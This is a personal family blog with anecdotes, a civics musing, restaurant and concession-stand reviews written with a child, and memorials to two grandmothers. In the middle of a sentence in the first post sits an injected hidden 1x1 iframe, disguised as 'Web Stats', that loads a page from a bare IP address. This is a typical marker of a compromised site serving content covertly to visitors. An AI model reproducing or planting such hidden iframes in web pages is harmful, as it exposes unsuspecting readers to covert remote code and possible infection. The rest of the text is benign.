I know, it\’s been WAY too long since I\’ve written anything, and I don\’t have anything burning to write at the moment, so I decided I would just list some random pieces of information. This will be much like having a conversation with me.\r\n\r\nYesterday, Aaron said, One time, I put soap on my hand. That was comforting.\r\n\r\nIf you want to cut hot brownies, you can use a plastic knife and they don\’t stick to it.\r\n\r\nLevi had a root canal this morning and is currently sleeping it off. He\’s fine.\r\n\r\nI find rainy!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — days depressing.\r\n\r\nMy husband just drove our van through the front yard ???\r\n\r\nIf you dye your hair purple, a lot more people will talk to you.\r\n\r\nIf you dye your hair purple, your father will not approve.\r\n\r\nWind is air in motion.\r\n\r\nThere are squirrels living in our attic.\r\n\r\nOne time a squirrel ate my mom\’s 1970s rattan furniture. She chased it out the back door.\r\n\r\nThat was not nearly as bad as the time the skunk got in our basement and sprayed. \r\n\r\nNot long after the skunk incident, my grandfather gave my parents the two greatest cars Ford ever rolled off the line: a Pinto and an El Camino. \r\n\r\nYou can use a baseball field to prove the pythagorean theorem. \r\n\r\nMy dad used the El Camino to drag the baseball field.\r\n\r\nIf a baseball player throws his glove at a ball in play, the batter gets an automatic triple, unless the ball (and glove assumedly) both go over the fence in fair territory, then it\’s still a homerun and the player loses his glove.\r\n\r\nI used to be an umpire, and I never saw that happen.\r\n\r\nI\’m currently reading The Divine Conspiracy by Dallas Willard. It\’s very good and I highly recommend it.\r\n\r\nI\’m going to go see about my husband driving through the yard.\r\n\r\nLater Tater.
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Tuesday, May 19th, 2009Civics
Tuesday, October 21st, 2008I’m sure everyone is dying to hear me talk about civics, but it’s my blog and you don’t get a vote!
When I was in 7th grade at Heath Middle School, my civics teacher Mr. Mabry taught us the definition of the word “civics” the first day of class. This may be the only piece of valuable information I retained from 7th grade, but at least I remember that “civics is the study of the duties, rights and responsibilities of citizenship.” This being an election year, and a particularly interesting one at that, I have been thinking a lot about citizenship and my duties, rights and responsibilities. Unfortunately though, when I hear people talk, I seem to hear a lot about the rights, but very little about duties or responsibilities. We are quite concerned with our rights to vote, choose, pursue, spend, save, speak, express, etc. But when was the last time anyone asked us about our duties or responsibilities? Do we even know what those are anymore? I would love to hear someone address it. Anyone? Senator McCain? Senator Obama? Joe the Plumber? Can someone please remind us what our duties and responsibilities are before we sink any deeper into a quagmire of narcissism. Anyone? Anyone? Bueller?
Concession Stands
Monday, June 16th, 2008As is fitting for the season, the Lunchroom Bandit decided to review her two favorite concession stands. Unfortunately, I haven’t had much concession stand experience lately, but with 3 small boys, I’m sure those days are just around the corner. However, I do remember two of my favorite concession stand experiences. One was in San Juan, Puerto Rico, where the concession stand was more like a walk-up cafeteria. You could get a quarter of a chicken for 75 cents. This was at a youth-league baseball game. They had fresh bread and soup and all kinds of homemade food. It was a welcome change from plastic cheese nachos and stale popcorn. My other fondest concession stand memory was in my home town of Paducah, Kentucky where my father coached a baseball team. When I was a kid, Jim and Peggy ran the concession stand and Peggy made burgers on a griddle in the back. My sister and I called them “Peggy Burgers.” They were smooshed flat and probably grade C meat, but we thought they were the BEST! After Peggy and Jim retired from the lucrative business of selling concessions at youth baseball games, my mom had to take it over. In addition to being “team mom”, our mom, the coach’s wife, and the statistician, she also got the privilege of running the concession stand. Peggy burgers were no more. My mom made hot dogs in a crock pot and stopped the sale of bubble gum because she had stepped in it and sat in it too many times. (As a school teacher, she had a natural disdain for Super Bubble.) My mom had no love for the sales of concessions, and it showed (sorry Mom, I know you’re one of the three people who actually read my blog). On the upside, my sister and I got to work in the concession stand, which we considered great fun, almost as much fun as eating a Peggy Burger.
–L.D.
At tea ball they have: hotdogs, candy pizza, boiled peanuts, hamburgers, and soda. At soccer they have . . . tea, air heads, and hot chocolate. Those two concessions are my favorite food stands. The End.
–L.B.
Introducing: The Lunchroom Bandit
Wednesday, May 28th, 2008The Lunchroom Bandit and I are going to tell you about two of our favorite restaurants:
Olive Garden: I am going to tell you about my favorite restaurant. First they have great bred sticks. Next they have awesome salad. Then they have yummy pasta. Now dilishes soup. Last they have terifec chicken. That is my favorite restaurant!
–L.B.
La Choza: Rarely do I think about a meal I ate in a past decade. Ok, it happens occasionally, and it’s always the same one. Sometime around May of 1993, I ate a grilled shrimp dish with creamed jalepeno and garlic butter sauces. The jalepeno sauce was not spicy, just marvelous in every way. The shrimp were ginormous (to quote “Elf”) and whatever else was on the plate was simply bowing towards the shrimp and sauces as if to say “we’re not worthy.” The unfortunate thing for me is that this restaurant is in Cozumel, Mexico and I am very much NOT in Cozumel. So if you ever go to Cozumel, you must go to La Choza and order this dish. But be warned, the succulent flavors will stalk you for the rest of your life.
–L.D.
Bird Brain, Dodo, and Dummy
Sunday, May 4th, 2008Pajama parties, playing cards, being creative in the kitchen (i.e. making a BIG mess).
Shirley Temples, white table cloths and fancy dresses.
Johnny Cash, Boxcar Willie, classic country.
Brutal honesty: “you need a shampoo” and “that skirt makes you look like Little House on the Prairie.”
Absolute affection: hugs and kisses, zerberts and pats on the rear.
Tender care: help for the sick, meals for the hungry, watchful eyes for the babies.
Sounds like a winner!
Nana
April 28, 1926 – March 21, 2008
Banned substances
Wednesday, December 19th, 2007There’s been a lot in the news recently about the use of banned substances. I can sympathize with some of the athletes who’ve been disqualified from sporting events for their use because I too was once disqualified from an event for the use of banned substances. I know, this is a shock to many of you. It was back in the early 80′s. The banned substances were Cool Whip and Jell-o. The event was the Brownie Scout No-Bake Contest. It was rather humiliating and I don’t much like to talk about it, but I was afraid this info would be released in some Congressional report, and I figured I should come clean while I had the chance. I had a great recipe and I was really proud of it. The judges asked me the ingredients and I rattled them off perfectly, almost song-like. Little did I know that Cool Whip and Jell-o were the cream and the clear of the Brownie Scout No-Bake Contest. I guess it says something for reading the rules. I’ve since tried to redeem myself with legitimate no-bake recipes. (I like to bake as well.) A few years back I was all set to enter a peanut butter pie in a pie contest for church. I made two pies because I was so sure it would be a hit. The event got rained out and I was unable to claw my way back to dignity in the culinary contest arena. Tomorrow though, I am making all the desserts for the staff Christmas party. This is my time to shine! On the menu we have peanut butter pie, pecan cranberry pie, and hot fudge cake. Not on the menu: Cool Whip and Jell-o.
My Grandmother
Saturday, September 22nd, 2007My grandmother passed away Friday, September 14. She was 84 years old. I wrote this in memory of her.
Some might say that love is an idea. It cannot be touched or heard or tasted. This would not be the case with my grandmother. For Jeanette Grief, to love you was to cook for you. Fried chicken, green beans, creamed corn, mashed potatoes, and chocolate pie. That was her constant recipe for love. And just as love is supposed to be, there was always way more than anyone could consume at any one time. I remember spending the night at my grandmother’s house when Shannan and I were little. Being her only grandchildren, she focused all her spoiling powers on us. It was great! When we woke up in the morning, she would have a menu written out for us so we could order whatever breakfast we wanted. If she were making a cake (which she almost always was), she would use two tubs of frosting and there was always lots left in the second one. She would hand us the left-over tub and two spoons. Yes, we were spoiled! We were equally spoiled though. For Christmas, if she spent $1.73 more on me than she had on Shannan, Shannan would get her presents plus $1.73. I know that I am not perfect, and there is a long list of people who could testify to that, but in the eyes of my grandmother, I could do no wrong. Everyone should have one person who thinks she can do no wrong. My grandmother was that person and I will miss her greatly.
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Creamed corn.
Green beans grown 150 yards away from the table at which I consume them.
Fried chicken that puts the colonel to shame.
Mashed potatoes, fluffy and perfect.
Seconds of the creamed corn.
Must save room for chocolate pie.
Must loosen belt.
Giant piece of chocolate pie.
Food coma.
Love.